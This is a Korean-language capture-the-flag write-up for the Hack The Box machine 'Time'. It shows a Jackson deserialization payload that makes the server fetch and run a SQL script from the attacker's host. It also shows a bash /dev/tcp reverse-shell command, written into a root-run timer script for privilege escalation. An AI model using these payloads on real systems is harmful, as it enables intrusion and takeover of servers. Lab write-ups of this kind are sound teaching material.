HTB-Time Write up

HTB-Time Write up

in

Enumeration

스크린샷 2022-04-01 오후 6 13 27

JSON beautiful 페이지 발견 JSON 데이터 입력결과 validator 기능에서 에러를 발생

Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object

스크린샷 2022-04-01 오후 6 15 07 스크린샷 2022-04-01 오후 6 15 17

오류 구문 검색 결과 jackson을 사용하는것을 확인 가능

jackson은 자바진영 json 라이브러리로 잘 알려져 있지만 json 뿐만 아니라 XML, YAML, CSV 등 다양한 형식의 데이타를 지원하는 data-processing 툴이다.


FoodHold

jackson exploit 결과 2019 cve 코드에서 SSRF 를 통한 RCE 공격방법 획득

스크린샷 2022-04-01 오후 6 17 31 스크린샷 2022-04-01 오후 6 17 42

poc에 나와있는대로 공격 구문을 입력 시 정상적으로 작동하는것을 확인 가능

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.8:8000/inject.sql'"}]

스크린샷 2022-04-01 오후 6 19 07

inject.sql 파일을 작성하여 ping 명령어 실행 코드를 입력 후 tcpdump를 통해 패킷을 캡쳐하면 정상적으로 핑이 도착하는것을 확인가능

스크린샷 2022-04-01 오후 6 19 56 스크린샷 2022-04-01 오후 6 20 28

리버스쉘 명령어를 입력하여 쉘 획득 가능

스크린샷 2022-04-01 오후 6 21 00 스크린샷 2022-04-01 오후 6 21 10


Privilege Escalation

linpeas.sh 를 통해 timer_backup.timer 파일이 계속 실행되는것을 알 수있음 (pspy를 통해서도 확인 가능)

스크린샷 2022-04-01 오후 6 21 57 스크린샷 2022-04-01 오후 6 22 08

해당 파일 확인 결과 아래의 파일을 연계하여 최종적으로 timer_backup.sh 파일 실행

스크린샷 2022-04-01 오후 6 22 46 스크린샷 2022-04-01 오후 6 22 52

파일 확인결과 아래의 명령어를 주기적으로 실행

스크린샷 2022-04-01 오후 6 23 09

해당 sh파일에 리버스쉘 코드 입력하여 리버스쉘 획득 가능

echo "bash -c 'bash -i >& /dev/tcp/10.10.14.8/9002 0>&1'" > /usr/bin/timer_backup.sh

스크린샷 2022-04-01 오후 6 24 14